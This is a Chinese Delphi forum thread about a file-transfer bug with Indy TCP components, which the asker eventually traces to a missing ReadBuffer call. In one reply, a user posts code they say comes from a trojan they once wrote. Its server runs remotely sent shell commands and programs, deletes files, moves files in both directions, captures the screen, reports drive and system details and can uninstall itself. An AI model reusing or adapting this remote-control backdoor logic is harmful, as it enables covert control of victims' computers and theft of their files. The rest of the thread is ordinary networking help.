IdTCPServer 与 IdTCPClient1 不能正确连续传输? ( 积分: 100 )

  • 主题发起人 主题发起人 一招儿
  • 开始时间 开始时间

一招儿

Unregistered / Unconfirmed
GUEST, unregistred user!
我写了一个小程序用INDY的控件实现传输文件,第一次能够正确传送,但第二次再传时接受的
数据为乱码,双方代码打开文件都用的是文件句柄方式,请高手出手看看!代码如下

客户端
var
buf:array[0..4096] of byte;
iFileName:string;
iFileHandle:integer;
iFileSize, cnt:cardinal;
begin
if OpenDialog1.Execute then
begin

iFileName :=ExtractFilename(OpenDialog1.FileName );
iFileHandle:=FileOpen(OpenDialog1.FileName , fmOpenRead);
iFileSize:=FileSeek(iFileHandle,0,2);
FileSeek(iFileHandle,0,0);


//文件名称
IdTCPClient1.WriteLn(iFileName);
//文件长度
IdTCPClient1.WriteCardinal(iFileSize);

while iFileSize>4096 do
begin
cnt:=FileRead(iFileHandle,buf,4096);
IdTCPClient1.WriteBuffer(buf,cnt);
inc(iFileSize,-4096)
end; //while

cnt:=FileRead(iFileHandle,buf, iFileSize);
IdTCPClient1.WriteBuffer(buf, iFileSize);

FileClose(iFileHandle);
end;
end

服务器端

var
buf: array[0..4096] of byte;
iFileHandle: integer;
iFileSize: cardinal;
iFileName: string;
begin
with AThread.Connection do
begin
// 文件名称
iFileName := ReadLn;
iFileName := Filepath + iFileName;

//文件长度
iFileSize := ReadCardinal ;

//文件句柄
iFileHandle:=FileCreate(iFileName);
FileSeek(iFileHandle,0,0);

//读文件
While iFileSize>4096 do
begin
ReadBuffer(buf, 4096);
FileWrite(iFileHandle, buf, 4096);
inc(iFileSize, -4096);
end;//while

FileWrite(iFileHandle, buf, iFileSize);
FileClose(iFileHandle);
end;//with
end;
 
我写了一个小程序用INDY的控件实现传输文件,第一次能够正确传送,但第二次再传时接受的
数据为乱码,双方代码打开文件都用的是文件句柄方式,请高手出手看看!代码如下

客户端
var
buf:array[0..4096] of byte;
iFileName:string;
iFileHandle:integer;
iFileSize, cnt:cardinal;
begin
if OpenDialog1.Execute then
begin

iFileName :=ExtractFilename(OpenDialog1.FileName );
iFileHandle:=FileOpen(OpenDialog1.FileName , fmOpenRead);
iFileSize:=FileSeek(iFileHandle,0,2);
FileSeek(iFileHandle,0,0);


//文件名称
IdTCPClient1.WriteLn(iFileName);
//文件长度
IdTCPClient1.WriteCardinal(iFileSize);

while iFileSize>4096 do
begin
cnt:=FileRead(iFileHandle,buf,4096);
IdTCPClient1.WriteBuffer(buf,cnt);
inc(iFileSize,-4096)
end; //while

cnt:=FileRead(iFileHandle,buf, iFileSize);
IdTCPClient1.WriteBuffer(buf, iFileSize);

FileClose(iFileHandle);
end;
end

服务器端

var
buf: array[0..4096] of byte;
iFileHandle: integer;
iFileSize: cardinal;
iFileName: string;
begin
with AThread.Connection do
begin
// 文件名称
iFileName := ReadLn;
iFileName := Filepath + iFileName;

//文件长度
iFileSize := ReadCardinal ;

//文件句柄
iFileHandle:=FileCreate(iFileName);
FileSeek(iFileHandle,0,0);

//读文件
While iFileSize>4096 do
begin
ReadBuffer(buf, 4096);
FileWrite(iFileHandle, buf, 4096);
inc(iFileSize, -4096);
end;//while

FileWrite(iFileHandle, buf, iFileSize);
FileClose(iFileHandle);
end;//with
end;
 
我哈久以前写的一个木马里面的,用的是tcpclient和tcpserver,用indy的话原理应该也可以的吧,可以相互传文件的,我试过传100m大的文件,就是么断点续传,很稳定的,效率似乎不高……谁有又稳定效率有高的方法帖出来大家看看:
常量:
const
INFORMATION:string= 'sc001x'; //消息
NEXT_FILE_DATA:string= 'sc002x'; //请求发送下段数据
UPLOAD_FILE:string= 'sc003x'; //上传文件通知
DOS_COMMAND:string= 'sc004x'; //dos命令
DOWNLOAD_FILE:string= 'sc005x'; //下载文件
FILE_END:string= 'sc006x'; //文件结束
FILE_SIZE:string= 'sc007x'; //文件大小
GET_FILE_SIZE:string= 'sc008x'; //请求发送文件大小
RUN_COMMAND:string= 'sc009x'; //运行程序
DELETE_FILE:string= 'sc010x'; //删除文件
UNINSTALL_COMMAND:string= 'sc011x'; //卸载服务器
GET_SCREEN:string= 'sc012x'; //截屏
GET_HARD_DISK:string= 'sc013x'; //得到分区信息
GET_SYSTEM:string= 'sc014x'; //取得系统信息
BE:string= 'sc015x'; //锋鸣器指令
COMMAND_LENGTH:Cardinal=6; //消息标识符长度
----------------------------------------
客户端:
var
P:Pointer;
L,X:Int64;
Temp:string;
begin
L:=Socket.ReceiveLength;
GetMem(P,L);
Socket.ReceiveBuf(P^,L);
Temp:=StrPas(PChar(P));
if LeftStr(Temp,COMMAND_LENGTH)=FILE_SIZE then //得到文件大小
begin
FileSize:=StrToInt(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH));
Socket.SendText(NEXT_FILE_DATA);
InfoBox.Lines.Add('>正在传送文件……');
InfoBox.Lines.Add(' -- / --');
end
else if LeftStr(Temp,COMMAND_LENGTH)=INFORMATION then //返回消息
InfoBox.Lines.Add(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH))
else if LeftStr(Temp,COMMAND_LENGTH)=GET_FILE_SIZE then //请求发送文件大小
begin
Socket.SendText(FILE_SIZE+IntToStr(FileData.Size));
InfoBox.Lines.Add('>正在传送文件……');
InfoBox.Lines.Add(' -- / --');
end
else if LeftStr(Temp,COMMAND_LENGTH)=NEXT_FILE_DATA then //请求发送文件数据
begin
X:=FileData.Size-FileData.Position;
if X>1024 then
begin
GetMem(P,1024);
FileData.Read(P^,1024);
Socket.SendBuf(P^,1024);
end
else
begin
GetMem(P,X);
FileData.Read(P^,X);
Socket.SendBuf(P^,X);
end;
//计算数据大小
InfoBox.Lines.Strings[InfoBox.Lines.Count-1]:=
Format(' %d%% [ %d / %d ]',
[Round((FileData.Position/FileData.Size)*100),
FileData.Position,FileData.Size]);
end
else if LeftStr(Temp,COMMAND_LENGTH)=FILE_END then
begin
FileData.Free;
InfoBox.Lines.Delete(InfoBox.Lines.Count-1);
InfoBox.Lines.Add('>文件传送完毕。');
end
else
begin
FileData.Write(P^,L);
if FileData.Size < FileSize then
begin
Socket.SendText(NEXT_FILE_DATA);
//计算数据大小
InfoBox.Lines.Strings[InfoBox.Lines.Count-1]:=
Format(' %d%% [ %d / %d ]',
[Round((FileData.Position/FileSize)*100),
FileData.Position,FileSize]);
end
else
begin
Socket.SendText(FILE_END);
InfoBox.Lines.Delete(InfoBox.Lines.Count-1);
InfoBox.Lines.Add('>文件传送完毕。');
FileData.Free;
end;
end;
FreeMem(P);
end;
-----------------------------------------
服务器:
var
P:Pointer;
L,X:Int64;
DriveNumber,ps,I:Integer;
Temp,Data,Data2:string;

begin
try
L:=Socket.ReceiveLength;
GetMem(P,L);
Socket.ReceiveBuf(P^,L);
Temp:=StrPas(P);
if LeftStr(Temp,COMMAND_LENGTH)=BE then begin
Delete(Temp,1,COMMAND_LENGTH);
ps:=Pos('|',Temp);
Data:=Copy(Temp,1,ps-1);
Data2:=Copy(Temp,ps+1,L-ps);
Bleeper.DoBleep(StrToInt(Data),StrToInt(Data2));
Socket.SendText(INFORMATION+'OK');
end else if LeftStr(Temp,COMMAND_LENGTH)=INFORMATION then begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
ShowInfo(Data);
end else if LeftStr(Temp,COMMAND_LENGTH)=UNINSTALL_COMMAND then
Uninstall
else if LeftStr(Temp,COMMAND_LENGTH)=FILE_END then
FileData.Free
else if LeftStr(Temp,COMMAND_LENGTH)=NEXT_FILE_DATA then //请求发送文件
begin
X:=FileData.Size-FileData.Position;
if X>1024 then
begin
GetMem(P,1024);
FileData.Read(P^,1024);
Socket.SendBuf(P^,1024);
end
else
begin
GetMem(P,X);
FileData.Read(P^,X);
Socket.SendBuf(P^,X);
end;
end
else if LeftStr(Temp,COMMAND_LENGTH)=DOWNLOAD_FILE then //下载文件
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
FileData:=TFileStream.Create(Data,fmOpenRead);
Socket.SendText(FILE_SIZE+IntToStr(FileData.Size));
end
else if LeftStr(Temp,COMMAND_LENGTH)=GET_HARD_DISK then //取得分区信息
begin
for DriveNumber:=97 to 122 do
begin
if GetDriveType(PChar(Chr(DriveNumber)+':/'))=DRIVE_FIXED then
Data:=Data+Chr(DriveNumber)+':/ ';
end;
Socket.SendText(INFORMATION+Data);

end
else if LeftStr(Temp,COMMAND_LENGTH)=RUN_COMMAND then //运行程序
if WinExec(PChar(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH)),SW_SHOW) >32 then
Socket.SendText(INFORMATION+'程序已运行')
else
Socket.SendText(INFORMATION+'发生错误')
else if LeftStr(Temp,COMMAND_LENGTH)=DELETE_FILE then
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
if DeleteFile(Data) then
Socket.SendText(INFORMATION+'文件已删除。')
else
Socket.SendText(INFORMATION+'无法删除文件。')
end
else if LeftStr(Temp,COMMAND_LENGTH)=DOS_COMMAND then //运行DOS命令
begin
Data:=ExecuteDOSCommand(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH));
Socket.SendText(INFORMATION+Copy(Data,I,3000));
end
else if LeftStr(Temp,COMMAND_LENGTH)=UPLOAD_FILE then //请求上传文件
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
FileData:=TFileStream.Create(Data,fmCreate);
Socket.SendText(GET_FILE_SIZE);
end else if LeftStr(Temp,COMMAND_LENGTH)=GET_SYSTEM then
begin
if IsNt=true then begin
Socket.SendText(INFORMATION+'该系统内核为winnt');
end else begin
Socket.SendText(INFORMATION+'该系统内核为win9x');
end;
end
else if LeftStr(Temp,COMMAND_LENGTH)=FILE_SIZE then
begin
FileSize:=StrToInt(Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH));
Socket.SendText(NEXT_FILE_DATA);
end
else if LeftStr(Temp,COMMAND_LENGTH)=GET_SCREEN then //收到截取屏幕命令
begin
Data:=Copy(Temp,COMMAND_LENGTH+1,L-COMMAND_LENGTH);
if GetScreen(StrToInt(Data)) = False then
Socket.SendText(INFORMATION+'截取屏幕图象时发生错误!')
else
begin
FileData:=TFileStream.Create(GetTempPath+'Screen.jpg',fmOpenRead);
Socket.SendText(FILE_SIZE+IntToStr(FileData.Size));
end;
end
else
begin
FileData.Write(P^,L);
if FileData.Size < FileSize then
Socket.SendText(NEXT_FILE_DATA)
else
begin
Socket.SendText(FILE_END);
FileData.Free;
end;
end;
FreeMem(P);
except
Socket.SendText(INFORMATION+'服务器端发生错误');
try
FileData.Size;
except
Exit;
end;
FileData.Free;
end;
end;
 
希望下面的代码对你有帮助:
客户端:
sendxml:=xmldoc.XML.Text;
if sendxml='' then exit;
msendlen:=length(sendxml);
fillchar(msendbuf,10240,#0);
strpcopy(msendbuf,sendxml);
with idtcpclt do
begin
try
SendBufferSize:=327680;
RecvBufferSize:=327680;
OpenWriteBuffer;
try
if not connected then connect;
writebuffer(msendbuf,102400,true);
//接收服务器端返回的回复报文
fillchar(mrecvbuf,sizeof(mrecvbuf),#0);
ReadBuffer(mrecvbuf,102400);
recvxml:=mrecvbuf;
memorecv.Text:=trim(recvxml);
except
on e:exception do
begin
showmessage(e.Message);
end;
end;
finally
if idtcpclt.Connected then
begin
ClearWriteBuffer;
CloseWriteBuffer;
disconnect;
end;
end;
end;

服务器端:
//接收客户端发送来的请求报文
if (athread.Terminated) or (not athread.Connection.Connected) then exit;
fillchar(mrecvbuf,102400,#0);
try
athread.Connection.ReadBuffer(mrecvbuf,102400);
recvxml:=mrecvbuf;
memorecv.Text:=trim(recvxml);
//发送回复客户端信息的报文
sendxml:=xmldoc.XML.Text;
if sendxml='' then exit;
msendlen:=length(sendxml);
try
with athread.Connection do
begin
OpenWriteBuffer();
fillchar(msendbuf,sizeof(msendbuf),#0);
strpcopy(msendbuf,sendxml);
try
writebuffer(msendbuf,102400,true);
finally
ClearWriteBuffer;
CloseWriteBuffer;
end;
end;
except
on e:exception do
begin
inifile.WriteString('LOG_ERROR','SEND',E.Message);
end;
end;
finally
athread.Connection.Disconnect;
end;
在我的机器上是没有问题的。你看一下吧。
 
我本意是以文件格式传送数据,而不是以字符传,为了避免一次数据传送过大我采用
分多次传送,为了占用内存过大我用文件句柄的方式操作。以内存流和文件流的方式我
都以正确实现。

OpenWriteBuffer?
我理解是每次把缓存中的数据一次传完 ,否则不用缓存就可能SOCKET把我门本意
一次传输的数据分多次传送,对否!
 
我写了一个小程序第一次能够正确传送,但以后再传时接受的数据为乱码!
请各位朋友指点!
 
楼上的朋友我的问题解决了,幼稚的问题,少写了一行代码,
服务器倒数第三行ReadBuffer(buf, iFileSize);但不知道
为何第一次数据传输正确。对不起啦朋友,用这种问题麻烦大家!!!
nWriteBuffer?
我理解是每次把缓存中的数据一次传完 ,否则不用缓存就可能SOCKET把我门本意
一次传输的数据分多次传送,对否!

PascalBoy,能否把你的断点虚传的程序给我一份,我想了解以下。

分数稍后我会给大家分的!以免分完分不能接受各位的高见!
 
多人接受答案了。
 
后退
顶部